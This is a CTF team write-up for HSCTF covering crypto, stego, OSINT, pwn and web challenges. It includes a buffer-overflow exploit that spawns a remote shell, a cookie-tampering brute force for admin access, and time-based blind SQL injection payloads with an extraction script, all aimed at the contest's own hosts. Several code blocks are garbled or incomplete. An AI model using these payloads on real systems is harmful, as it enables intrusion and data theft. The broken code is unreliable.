# algo

## not-really-math

Solved by: nsa-bot and taz34

``````nc not-really-math.hsc.tf 1337
``````

I did this manually by passing the values we get through this script one by one.

``````import math
from pwn import *
question = input("Enter Here: ")
question = question.replace('m', '*')
question = question.replace('a', '+')
question = question.split('*')
problem = []
for i in question:
problem.append(eval(i))
if answer > 99999:
else:
``````

This is just the concept for understanding, we can solve it using this by passing each value we get through this and the copying back the answer we get from here to the script, but that is very time consuming.

nsa-bot wrote an awesome script to automate the process process:

``````import math
from pwn import *
from re import search
r = remote('not-really-math.hsc.tf',  1337)

data = r.recvuntil('\n: ')
data = data.decode().split('\n')
question = data
question = question.replace('m', '*')
question = question.replace('a', '+')
question = question.split('*')
problem = []
for i in question:
problem.append(eval(i))

flagfound = False
while flagfound == False:
try:
data = r.recvuntil('\n: ')
except EOFError:
data = r.recv()
data = data.decode().split('\n')
if search('flag', str(data)):
flagfound = True
flag = data
print('flag is ', flag)
else:
question = data
question = question.replace('m', '*')
question = question.replace('a', '+')
question = question.split('*')
problem = []
for i in question:
problem.append(eval(i))
print('[+]Solving Question')
flagfound = False
`````` ``````flag{yknow_wh4t_3ls3_is_n0t_real1y_math?_c00l_m4th_games.com}
``````

# crypto

## aptenodytes-forsteri

Solved by: Taz34

We are given 2 file: First is aptenodytes-forsteri.py

``````flag = open('flag.txt','r').read() #open the flag

assert flag[0:5]=="flag{" and flag[-1]=="}" #flag follows standard flag format

letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

encoded = ""

for character in flag[5:-1]:
encoded+=letters[(letters.index(character)+18)%26] #encode each character
print(encoded)
``````

second is output.txt

``````IOWJLQMAGH
``````

I made a flag.txt file as the script takes in flag.txt file. According to the script the script only takes in the characters between the curly brackets of the flag format i.e flag{} And it also allows only capital letters.

So i made a flag.txt file with all charaters A-Z in the flag format.

``````flag{ABCDEFGHIJKLMNOPQRSTUVWXYZ}
`````` Now i got the perspective encoded values of each letter so now I can compare it with the output.txt string.

``````A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
S T U V W X Y Z A B C D E F G H I J K L M N O P Q R

I O W J L Q M A G H
Q W E R T Y U I O P
``````

We can verify it by passing the flag we have in the flag.txt file and see if it matches with output.txt It matches hence we have the right flag.

``````flag{QWERTYUIOP}
``````

## opisthocomus-hoazin

Solved by: Taz34

First opisthocomus-hoazin.py

``````import time
from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
e = 2**16+1
n=p*q
ct=[]
for ch in flag:
ct.append((ord(ch)^e)%n)
print(n)
print(e)
print(ct)
``````

2nd is output.txt

``````15888457769674642859708800597310299725338251830976423740469342107745469667544014118426981955901595652146093596535042454720088489883832573612094938281276141337632202496209218136026441342435018861975571842724577501821204305185018320446993699281538507826943542962060000957702417455609633977888711896513101590291125131953317446916178315755142103529251195112400643488422928729091341969985567240235775120515891920824933965514217511971572242643456664322913133669621953247121022723513660621629349743664178128863766441389213302642916070154272811871674136669061719947615578346412919910075334517952880722801011983182804339339643
65537
[65639, 65645, 65632, 65638, 65658, 65653, 65609, 65584, 65650, 65630, 65640, 65634, 65586, 65630, 65634, 65651, 65586, 65589, 65644, 65630, 65640, 65588, 65630, 65618, 65646, 65630, 65607, 65651, 65646, 65627, 65586, 65647, 65630, 65640, 65571, 65612, 65630, 65649, 65651, 65586, 65653, 65621, 65656, 65630, 65618, 65652, 65651, 65636, 65630, 65640, 65621, 65574, 65650, 65630, 65589, 65634, 65653, 65652, 65632, 65584, 65645, 65656, 65630, 65635, 65586, 65647, 65605, 65640, 65647, 65606, 65630, 65644, 65624, 65630, 65588, 65649, 65585, 65614, 65647, 65660]
``````

We can see the each vale in ct list is actually the n modulus(%) of the XOR (^) value of the ASCII values of the flag’s characters with e.

We can verify it here, by encoding first letter of the flag i.e. “f” and this is also the first letter in the ct list: Now I have written a small script which encode out all the characters that can be used in the flag:

``````import string
chr_set = string.ascii_letters + string.digits + string.punctuation
e = 65537
n = 15888457769674642859708800597310299725338251830976423740469342107745469667544014118426981955901595652146093596535042454720088489883832573612094938281276141337632202496209218136026441342435018861975571842724577501821204305185018320446993699281538507826943542962060000957702417455609633977888711896513101590291125131953317446916178315755142103529251195112400643488422928729091341969985567240235775120515891920824933965514217511971572242643456664322913133669621953247121022723513660621629349743664178128863766441389213302642916070154272811871674136669061719947615578346412919910075334517952880722801011983182804339339643
for i in range(len(chr_set)):
x = chr_set[i] + ": " + str((ord(chr_set[i])^e)%n)
print(x)
``````

I also made a lookup.txt dictionary with all the elements of the ct list Now i used grep to get the elements we want form the script output: Now i used Sublime text to replace all the values with there specific letters to get the flag

``````flag{tH1s_ic3_cr34m_i5_So_FroZ3n_i"M_pr3tTy_Sure_iT's_4ctua1ly_b3nDinG_mY_5p0On}
``````

# Queen of the hill

Solved By : Starry-Lord A bit of research took me to hill cipher. ``````flag{climb_your_way_to_the_top}
``````

# misc

## pallets-of-gold

Solved by: Taz34 After doing some basic analysis I passed it through stegsolve and changed some planes and got the flag. ``````flag{plte_chunks_remind_me_of_gifs}
``````

## glass-windows

Solved by: Taz34 Similarly as the previous i used stegsolve and changed some planes to get the flag ``````flag{this_is_why_i_use_premultiplied_alpha}
``````

## c-brother-1

Solved By : thewhiteh4t

• The challenge mentions a user like `AC01010` and `JC01010` in the HSCTF discord server
• Finding the user was easy : • In discord users can add some links of their social media for other people to see, here I found the YouTube channel of `BC01010` : • There are no videos in the channel so we cannot see the watermark directly
• At first we thought that we can get it by using the YouTube API but it only offers to set or remove a watermark from our own profile
• So I searched for channels which use watermark in their videos and landed on `Motherboard` • Motherboard uses a `subscribe` image as their watermark, next I checked the files loaded in YouTube to check if this image was also loaded : • Now we have the URL through which the watermark is being loaded :
``````https://i.ytimg.com/an/B6PV0cvJpzlcXRG7nz6PpQ/featured_channel.jpg
``````
• We know that each channel as a random alphanumeric ID so I compared this URL with the channel page URL :
``````Channel   : https://www.youtube.com/channel/UCB6PV0cvJpzlcXRG7nz6PpQ
Watermark : https://i.ytimg.com/an/B6PV0cvJpzlcXRG7nz6PpQ/featured_channel.jpg
``````
• If you noticed, in the watermark URL the ID is missing two characters from the start i.e. `UC`
• Following the pattern I tried to input the channel ID of `BC01010` without the first two characters and got the watermark!
``````Channel   : https://www.youtube.com/channel/UCqZq81jZcdjAHQJ3UtAbdaA
Watermark : https://i.ytimg.com/an/qZq81jZcdjAHQJ3UtAbdaA/featured_channel.jpg
`````` ## Geographic 1

Solved By : Ava and Starry-Lord

Image 1

Round up

``````35.898,14.518
``````

Image 2

Round up

``````43.938,12.446
``````

## Geographic 2

Solved By : Starry-Lord

Image 1

``````Id. Antall József rkp.
47.504,19.044
``````

https://maps.app.goo.gl/a8u8REGKuZv6LToe6

Image 2

``````Schwimmende Wiese
53.62,11.41
``````

https://maps.app.goo.gl/Pf73iVT5pMxuTiiE7

Image 3

``````CERVESA ALPHA
42.569,1.489
``````

https://maps.app.goo.gl/Uk4EBhjeHtNKZP996

## seeded randomizer

Solved By : thewhiteh4t

• we are given a java file with two functions
``````import java.util.Random;

public class SeededRandomizer {

public static void display(char[] arr) {
for (char x: arr)
System.out.print(x);
System.out.println();
}

public static void sample() {
Random rand = new Random(79808677);
char[] test = new char;
int[] b = {9, 3, 4, -1, 62, 26, -37, 75, 83, 11, 30, 3};
for (int i = 0; i < test.length; i++) {
int n = rand.nextInt(128) + b[i];
test[i] = (char)n;
}
display(test);
}

public static void main(String[] args) {
// sample();
// Instantiate another seeded randomizer below (seed is integer between 0 and 1000, exclusive):
char[] flag = new char;
int[] c = {13, 35, 15, -18, 88, 68, -72, -51, 73, -10, 63,
1, 35, -47, 6, -18, 10, 20, -31, 100, -48, 33, -12,
13, -24, 11, 20, -16, -10, -76, -63, -18, 118};
for (int i = 0; i < flag.length; i++) {
int n = (int)(Math.random() * 128) + c[i];
flag[i] = (char)n;
}
display(flag);

}

}
``````
• sample prints “Hello World”
• random is initialized with a constant seed `79808677`
``````Random rand = new Random(79808677);
``````
• this means that the value produced by random will now be constant every time we execute the script
• our flag is in main and this time `Math.random` is used instead of previous approach
• but in the comments we can see that they have mentioned the range of seed which lies between 0 and 1000
• I modified main to bruteforce random with seeds from 0 to 1000
``````public static void main(String[] args) {
//sample();
// Instantiate another seeded randomizer below (seed is integer between 0 and 1000, exclusive):
char[] flag = new char;
int[] c = {13, 35, 15, -18, 88, 68, -72, -51, 73, -10, 63,
1, 35, -47, 6, -18, 10, 20, -31, 100, -48, 33, -12,
13, -24, 11, 20, -16, -10, -76, -63, -18, 118};

for (int x = 0; x < 1001; x++) {
Random rand = new Random(x);
for (int i = 0; i < flag.length; i++) {
int n = rand.nextInt(128) + c[i];
flag[i] = (char)n;
}
display(flag);
}
}
``````

Output : # pwn

## stonks

Solved By : Taz and thewhiteh4t • after disassembling : • vuln function disassembled : • gets is used, lets calculate the offset at which it crashes :
``````from pwn import *

p = process("./chal")
p.sendline(cyclic(200, n=8)) # n -> architecture | 8 -> 64bit
p.wait()

core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8), n=8)
print(offset)
``````

OUTPUT : • offset is 40

• finding all functions :

``````info functions
`````` • when we checked `ai_debug` we found that it has a system call! • then we checked what its doing :
``````b main
run
jump ai_debug
``````

OUTPUT : • it is executing `/usr/bin/dash` so we can get a shell if we can call ai_debug function

• Address of ai_debug : Exploit :

``````#!/usr/bin/python3

from pwn import *

host = 'stonks.hsc.tf'
port = 1337
offset = 40
ret = 0x4012f3

junk = b'A' * offset
le_ret = p64(ret)
buffer = junk + le_ret + le_num

conn = remote(host, port)
conn.recvuntil('symbol:')
conn.sendline(buffer)
conn.interactive()
``````
• Return address has been added because there is a stack alignment issue caused by LIBC present in Ubuntu i.e. the container running on the target

• Exploit was working locally but not remotely so we found this reddit thread

• Thanks to Andr3 and hiatus!

OUTPUT : # web

Solved by: Taz34

Simply login as `admin` using password `admin` Go to the simple quiz section and here we have the flag. ``````flag{th3_an5w3r_w4s_HSCTF_0bvi0us1y}
``````

## message-board

Solved by: Taz34

I logged in using the given credentials.

Found a cookie named userData with userID and username here userID is `972` and username is `kupatergent`

Now i started looking into the given server code files and in one of the files named app.js i found this: that indicates that we don’t need password for admin access we just need the correct user id.

So, now i fired up BurpSuite sent the request with cookie to the intruder replaced the username with admin and set the payload parameter at userID

``````Cookie: userData=j%3A%7B%22userID%22%3A%22§9§%22%2C%22username%22%3A%22admin%22%7D
``````  Also set up a grep match for flag{ as that is the starting of the flag And now we have to look for a ticked checkbox for flag{ and in the response section of that response we have the flag here we have the flag, we can confirm it on the website by changing the cookie values:

``````userID = 768
`````` ``````flag{y4m_y4m_c00k13s}
``````

## NRC - no right click

Solved By : Starry-Lord

To bypass the right click problem:

``````view-source:https://no-right-click.hsc.tf/useless-file.css
`````` # big blind

Solved By : thewhiteh4t

• we are given a login page in this challenge
• the page source does not contain any JS
• After trying several things I found that we get status 500 on using `'` in either username or password field
• we don’t get an error if we use `'` in both fields
• A better test is to use the following :
``````user : ''
pass : '
``````
• in the above case we get an error which shows that its due to an un-closed `'`
• we don’t get an error in the following case :
``````user : ''
pass : ''
``````
• finally I confirmed that its blind SQL injection by using the following payload :
``````' or sleep(2) and 1=1#
``````
• so here it was clear that its MySQL because syntax for others are different
• I used `SUBSTRING` and `SLEEP` to bruteforce the flag one character at a time
``````' OR IF(SUBSTRING(pass,1,1)='f',sleep(5),sleep(0))#
``````
• Explanation :
• substring function requires three arguments
• first argument is the string which we want to check
• second argument is the position which we want to check
• third argument is the length we want to check
• to check one character at a time I incremented second argument each time and kept third argument fixed
• Usage of `IF` :
• If uses three arguments
• first is the condition
• second is action if condition is `True`
• third is action if condition is `False`
• so when we find a match we will see a sleep of 5 seconds else page will load immediately
• Automation :
``````from requests import post, ReadTimeout

url = 'https://big-blind.hsc.tf/'
charset = '_{}flagisodnbcehjkmpqrtuvwxyz'
flag = ''
counter = 0

while flag.endswith('}') != True:
counter += 1
for char in charset:
'user': 'twh',
'pass': f"' OR IF(SUBSTRING(pass,{counter},1)='{char}',sleep(5),sleep(0))#"
}
try:
r = post(url, data=payload, timeout=3)
flag += char
print(f'FLAG : {flag}')
break
``````
• output : ## Digits of Pi 1

Solved By : Starry-Lord

First thing, check the cells and find a formula. Formula seems to be pointing to another sheet’s called Source and its range ‘A:B’.

When you use spreadsheets, the accessibility tools actually help in un hiding hidden sheets, like the Source sheet here.

To activate accessibility tools, go to Tools (‘Outils’ on the picture), and select Accessibility tools. Accessibility Tool include a way to call a range from the document so Monkey see🐒, Monkey do 🐒: Note: it turns out you can reach a hidden sheet’s full range by just typing its name (‘Source’ instead of ‘Source’!A:B)

It reveals the hidden sheet! On the bottom left you can see it got added to the panes. And as suspected, you can find the flag in there somewhere. Thanks to my team mates for finding the flag for me 